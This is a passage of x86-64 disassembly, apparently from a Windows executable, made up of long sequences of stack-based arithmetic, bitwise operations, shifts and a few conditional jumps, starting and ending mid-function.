mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0x8d48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1004], ax
movzx eax, word [0x1401e7020]
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1000], ax
mov rax, qword [rsp + 0x8ca8]
mov rcx, qword [rsp + 0x8bb8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8b50]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d44]
mov ecx, dword [rsp + 0x4d50]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cd0], eax
cmp dword [rsp + 0x4de8], 0xf86b
ja 0x1400081a3
cmp dword [rsp + 0x4cdc], 0x1165b
jae 0x140008b46
mov rax, qword [rsp + 0x8d28]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8d78]
mov qword [rsp + 0x8dc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8dc0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4d84], eax
mov rax, qword [rsp + 0x8ad0]
mov rcx, qword [rsp + 0x8d40]
or rcx, rax
mov rax, rcx
mov rcx, qword [0x1401e8798]
mov qword [rcx], rax
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0x1008]
shl eax, cl
mov rcx, qword [rsp + 0x8db0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1000]
movzx ecx, word [0x1401e7020]
xor eax, ecx
mov word [rsp + 0x1010], ax
mov rax, qword [rsp + 0x8db0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1014]
and eax, ecx
mov word [rsp + 0x1008], ax
movsx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8bf8]
mov byte [rcx], al
mov eax, dword [rsp + 0x4d44]
mov ecx, dword [rsp + 0x4db4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ab0]
mov rcx, qword [rsp + 0x8bb8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b50]
mov rcx, qword [0x1401e7018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b80], rax
mov eax, dword [rsp + 0x4d90]
mov ecx, dword [rsp + 0x4d84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74]
and eax, ecx
mov byte [0x1401e8793], al
movsx eax, word [rsp + 0x1008]
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xffc], ax
movsx eax, byte [rsp + 0x70]
movsx ecx, byte [rsp + 0x72]
add eax, ecx
mov byte [rsp + 0x75], al
movzx eax, byte [0x1401e8793]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0x8b68]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ddc]
shr eax, cl
mov dword [rsp + 0x4ccc], eax
mov rax, qword [rsp + 0x8b80]
mov rcx, qword [rsp + 0x8b28]
mov qword [rsp + 0x8dc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8dc8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0x8d08]
mov rcx, qword [0x1401e7010]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8da0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d78]
mov ecx, dword [rsp + 0x4cbc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x1401e8798]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1010]
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1000], ax
mov rax, qword [rsp + 0x8b68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x75]
add eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4cdc]
add eax, 0xe2
mov dword [rsp + 0x4cdc], eax
movzx eax, byte [rsp + 0x77]
movzx ecx, byte [rsp + 0x71]
sub eax, ecx
mov byte [rsp + 0x76], al
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0x100c]
sub eax, ecx
mov rcx, qword [rsp + 0x8d90]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c50]
mov rcx, qword [rsp + 0x8b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b78]
mov rcx, qword [rsp + 0x8d28]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8d78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8af8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b48]
mov eax, dword [rax]
mov dword [rsp + 0x4e00], eax
movsx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [0x1401e8798]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x100c]
sar eax, cl
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
movzx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff8]
add eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov word [rcx], ax
mov eax, dword [rsp + 0x4cec]
mov ecx, dword [rsp + 0x4cbc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d84], eax
mov rax, qword [rsp + 0x8d08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8af8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d18]
mov qword [rcx], rax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0x8b80]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b50], rax
mov rax, qword [rsp + 0x8b48]
mov rcx, qword [rsp + 0x8b70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e00], eax
movsx eax, word [0x1401e8790]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c88]
mov word [rcx], ax
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e8793], al
movzx eax, byte [rsp + 0x77]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x71], al
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xffc], ax
jmp 0x14000866c
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0x4e18], al
cmp byte [rsp + 0x4e18], 0
je 0x140008b6f
cmp byte [rsp + 0x4e18], 0x87
je 0x1401cbb0f
jmp 0x1401cbb76
mov rax, qword [rsp + 0x8b80]
mov rcx, qword [rsp + 0x8b00]
mov qword [rsp + 0x8dd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8dd0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8ad0], rax
lea rax, [0x1401e8790]
mov qword [rsp + 0x8dd8], rax
movzx eax, word [rsp + 0x1010]
mov rcx, qword [rsp + 0x8c60]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7030], ax
mov rax, qword [rsp + 0x8b68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x70]
sub eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x8b68]
movzx eax, byte [rax]
mov byte [rsp + 0x7a], al
mov rax, qword [rsp + 0x8c50]
mov rcx, qword [rsp + 0x8d30]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b50], rax
lea rax, [rsp + 0x8af8]
mov qword [rsp + 0x8de0], rax
mov rax, qword [rsp + 0x8d78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cbc], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x4d88]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b48]
mov dword [rcx], eax
lea rax, [rsp + 0x1004]
mov qword [rsp + 0x8de8], rax
lea rax, [rsp + 0x1014]
mov qword [0x1401e87a8], rax
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74]
sub eax, ecx
mov byte [rsp + 0x77], al
lea rax, [rsp + 0x77]
mov qword [rsp + 0x8df0], rax
movsx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x8c08]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8bf8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
mov word [rsp + 0x1018], ax
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d78]
mov rcx, qword [rsp + 0x8d28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d00], eax
lea rax, [rsp + 0x8b20]
mov qword [rsp + 0x8df8], rax
mov rax, qword [rsp + 0x8ac8]
mov rcx, qword [rsp + 0x8b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8b70]
mov dword [rcx], eax
movsx eax, word [rsp + 0xff0]
movsx ecx, word [rsp + 0x1014]
xor eax, ecx
mov word [0x1401e7034], ax
lea rax, [rsp + 0x72]
mov qword [rsp + 0x8e00], rax
movzx eax, byte [rsp + 0x71]
movzx ecx, byte [rsp + 0x74]
sar eax, cl
mov byte [rsp + 0x76], al
movsx eax, word [rsp + 0x100c]
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
lea rax, [rsp + 0x76]
mov qword [rsp + 0x8e08], rax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d40], rax
lea rax, [rsp + 0x4d44]
mov qword [rsp + 0x8e10], rax
mov rax, qword [rsp + 0x8c90]
mov rcx, qword [rsp + 0x8bb8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8de0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d84]
mov ecx, dword [rsp + 0x4cbc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c08]
movzx eax, byte [rax]
mov byte [0x1401e8794], al
lea rax, [rsp + 0x72]
mov qword [rsp + 0x8e18], rax
mov rax, qword [rsp + 0x8de8]
movzx eax, word [rax]
movzx ecx, word [0x1401e7020]
sub eax, ecx
mov rcx, qword [rsp + 0x8cc8]
mov word [rcx], ax
lea rax, [rsp + 0xff0]
mov qword [rsp + 0x8e20], rax
movzx eax, word [rsp + 0x1000]
movzx ecx, word [rsp + 0xff8]
and eax, ecx
mov word [rsp + 0xff4], ax
mov rax, qword [rsp + 0x8ca8]
mov rcx, qword [rsp + 0x8ab0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d80]
mov qword [rcx], rax
lea rax, [rsp + 0x4ddc]
mov qword [rsp + 0x8e28], rax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8d78]
mov eax, dword [rax]
mov dword [rsp + 0x4e1c], eax
lea rax, [rsp + 0x74]
mov qword [0x1401e87b0], rax
mov rax, qword [rsp + 0x8c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
mov byte [rsp + 0x7b], al
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff4]
sub eax, ecx
mov rcx, qword [rsp + 0x8cc8]
mov word [rcx], ax
movsx eax, word [rsp + 0x1008]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1014], ax
mov rax, qword [rsp + 0x8d40]
mov qword [rsp + 0x8e30], rax
mov rax, qword [rsp + 0x8d28]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4d00]
shl eax, cl
mov dword [rsp + 0x4d90], eax
mov rax, qword [rsp + 0x8d38]
mov eax, dword [rax]
mov dword [rsp + 0x4e20], eax
mov rax, qword [rsp + 0x8d50]
mov rcx, qword [rsp + 0x8af8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c90]
mov qword [rcx], rax
lea rax, [rsp + 0x72]
mov qword [0x1401e87b8], rax
mov rax, qword [rsp + 0x8df0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b]
or eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov byte [rcx], al
movzx eax, word [rsp + 0xff4]
mov word [rsp + 0x101c], ax
movsx eax, word [rsp + 0x1008]
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8db0]
mov word [rcx], ax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x8e38], rax
mov rax, qword [rsp + 0x8b78]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4cc4], eax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0x8ad0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8d40], rax
mov rax, qword [rsp + 0x8da0]
mov rax, qword [rax]
mov qword [rsp + 0x8e40], rax
mov rax, qword [rsp + 0x8e28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ddc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b70]
mov dword [rcx], eax
lea rax, [0x1401e8793]
mov qword [0x1401e87c0], rax
lea rax, [rsp + 0xff8]
mov qword [rsp + 0x8e48], rax
movsx eax, word [rsp + 0xff0]
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1008], ax
mov rax, qword [rsp + 0x8bf8]
movzx eax, byte [rax]
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x8de8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff8]
add eax, ecx
mov word [rsp + 0x101c], ax
mov rax, qword [rsp + 0x8d78]
mov ecx, dword [rsp + 0x4e1c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4d84], eax
mov rax, qword [rsp + 0x8da0]
mov rax, qword [rax]
mov qword [rsp + 0x8e50], rax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ad0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e20]
mov dword [rsp + 0x4e24], eax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8df0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [str._DM_b], al
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d90]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c88]
mov word [rcx], ax
movzx eax, word [rsp + 0x1000]
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov byte [rsp + 0x7d], al
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xff0]
xor eax, ecx
mov rcx, qword [rsp + 0x8dd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d40]
mov qword [rsp + 0x8e58], rax
mov rax, qword [rsp + 0x8cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e24]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4db4], eax
mov rax, qword [rsp + 0x8df8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8d50]
sar rax, cl
mov rcx, qword [rsp + 0x8d18]
mov qword [rcx], rax
lea rax, [rsp + 0x4d84]
mov qword [rsp + 0x8e60], rax
lea rax, [rsp + 0x1008]
mov qword [0x1401e87c8], rax
movsx eax, byte [rsp + 0x70]
movsx ecx, byte [rsp + 0x79]
shl eax, cl
mov rcx, qword [rsp + 0x8b68]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e48]
movzx eax, word [rax]
mov word [rsp + 0x1020], ax
mov rax, qword [rsp + 0x8d48]
movsx eax, byte [rax]
mov rcx, qword [0x1401e87b8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x79], al
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x77], al
lea rax, [rsp + 0x8bb8]
mov qword [rsp + 0x8e68], rax
mov rax, qword [rsp + 0x8c50]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
lea rax, [rsp + 0x4cec]
mov qword [rsp + 0x8e70], rax
mov rax, qword [rsp + 0x8cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ccc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d88], eax
movzx eax, word [rsp + 0x1004]
mov word [rsp + 0x1024], ax
lea rax, [rsp + 0xff0]
mov qword [0x1401e87d0], rax
mov rax, qword [rsp + 0x8df0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x76], al
mov rax, qword [rsp + 0x8c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x79]
add eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [0x1401e87c8]
movzx eax, word [rax]
mov word [rsp + 0x1028], ax
mov eax, dword [rsp + 0x4ccc]
mov ecx, dword [rsp + 0x4d44]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d88], eax
lea rax, [rsp + 0x8af8]
mov qword [rsp + 0x8e78], rax
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0x8d28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8b50], rax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
mov byte [rsp + 0x7e], al
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7038], ax
movsx eax, word [rsp + 0x1028]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xffc], ax
lea rax, [rsp + 0x1020]
mov qword [rsp + 0x8e80], rax
mov rax, qword [0x1401e87b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x76]
or eax, ecx
mov byte [rsp + 0x7b], al
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8d78]
mov qword [rsp + 0x8e88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8e88]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x8d28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov qword [rsp + 0x8e90], rax
mov rax, qword [rsp + 0x8e68]
mov rcx, qword [rsp + 0x8e50]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8d80]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d50]
mov dword [rsp + 0x4e28], eax
mov rax, qword [rsp + 0x8d90]
movsx eax, word [rax]
mov rcx, qword [0x1401e87c8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8e20]
mov word [rcx], ax
lea rax, [rsp + 0x1024]
mov qword [0x1401e87d8], rax
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0x7f], al
movzx eax, byte [rsp + 0x77]
mov rcx, qword [rsp + 0x8df0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x76], al
mov rax, qword [0x1401e87b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov qword [rsp + 0x8e98], rax
mov rax, qword [rsp + 0x8d08]
mov rcx, qword [rsp + 0x8bc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8d08]
mov qword [rcx], rax
lea rax, [0x1401e7004]
mov qword [rsp + 0x8ea0], rax
mov rax, qword [rsp + 0x8b78]
mov rcx, qword [rsp + 0x8e70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [rsp + 0x72]
add eax, ecx
mov byte [0x1401e700d], al
lea rax, [rsp + 0x1000]
mov qword [rsp + 0x8ea8], rax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e8792]
and eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
lea rax, [rsp + 0x1028]
mov qword [rsp + 0x8eb0], rax
mov rax, qword [rsp + 0x8d48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8bf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x8d28]
mov ecx, dword [0x1401e7008]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4d84], eax
lea rax, [rsp + 0x8d40]
mov qword [rsp + 0x8eb8], rax
mov rax, qword [rsp + 0x8d80]
mov rcx, qword [rsp + 0x8af8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
lea rax, [rsp + 0x4e20]
mov qword [rsp + 0x8ec0], rax
movzx eax, word [rsp + 0xff4]
mov word [0x1401e87e0], ax
movsx eax, word [rsp + 0x100c]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8c88]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e]
sar eax, cl
mov rcx, qword [rsp + 0x8e08]
mov byte [rcx], al
lea rax, [rsp + 0x1008]
mov qword [rsp + 0x8ec8], rax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [rsp + 0x7a]
sub eax, ecx
mov byte [rsp + 0x75], al
lea rax, [rsp + 0x8d30]
mov qword [rsp + 0x8ed0], rax
mov rax, qword [rsp + 0x8d50]
mov rcx, qword [rsp + 0x8bb8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ca8], rax
mov rax, qword [rsp + 0x8e28]
mov eax, dword [rax]
mov dword [rsp + 0x4e2c], eax
mov rax, qword [rsp + 0x8e70]
mov rcx, qword [rsp + 0x8b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4cc4], eax
lea rax, [rsp + 0xff8]
mov qword [0x1401e87e8], rax
movsx eax, word [rsp + 0xff0]
movsx ecx, word [rsp + 0x100c]
sub eax, ecx
mov rcx, qword [rsp + 0x8db0]
mov word [rcx], ax
movzx eax, word [rsp + 0xff8]
mov word [rsp + 0x102c], ax
movzx eax, byte [rsp + 0x76]
movzx ecx, byte [0x1401e8793]
sub eax, ecx
mov byte [rsp + 0x7b], al
movzx eax, byte [rsp + 0x78]
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [rsp + 0x8c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8d40], rax
mov rax, qword [rsp + 0x8cf8]
mov ecx, dword [section..data]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8ea0]
mov dword [rcx], eax
lea rax, [rsp + 0x4d00]
mov qword [rsp + 0x8ed8], rax
mov rax, qword [rsp + 0x8d08]
mov rcx, qword [rsp + 0x8ca8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8bb8], rax
mov rax, qword [0x1401e87e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1020]
sub eax, ecx
mov word [0x1401e87e0], ax
lea rax, [rsp + 0x1008]
mov qword [rsp + 0x8ee0], rax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x76]
and eax, ecx
mov byte [rsp + 0x74], al
movsx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x8c08]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0x81], al
mov rax, qword [rsp + 0x8e68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d80]
mov qword [rcx], rax
mov eax, dword [0x1401e7004]
mov dword [rsp + 0x4e30], eax
mov rax, qword [rsp + 0x8e90]
movzx ecx, al
mov rax, qword [rsp + 0x8e98]
shl rax, cl
mov rcx, qword [rsp + 0x8eb8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d84]
movzx ecx, al
mov eax, dword [rsp + 0x4d90]
sar eax, cl
mov dword [rsp + 0x4e1c], eax
movzx eax, word [0x1401e7020]
movzx ecx, word [rsp + 0x101c]
add eax, ecx
mov word [0x1401e703c], ax
movzx eax, byte [rsp + 0x7e]
mov byte [rsp + 0x82], al
mov rax, qword [rsp + 0x8e18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7f]
add eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x8dd8]
movzx eax, word [rax]
mov word [rsp + 0x1030], ax
movzx eax, byte [rsp + 0x7d]
movzx ecx, byte [rsp + 0x77]
and eax, ecx
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0x8e28]
mov eax, dword [rax]
mov dword [rsp + 0x4e34], eax
mov rax, qword [rsp + 0x8d78]
mov ecx, dword [rsp + 0x4cc4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8d28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c50]
mov rcx, qword [rsp + 0x8d30]
mov rax, qword [rax]
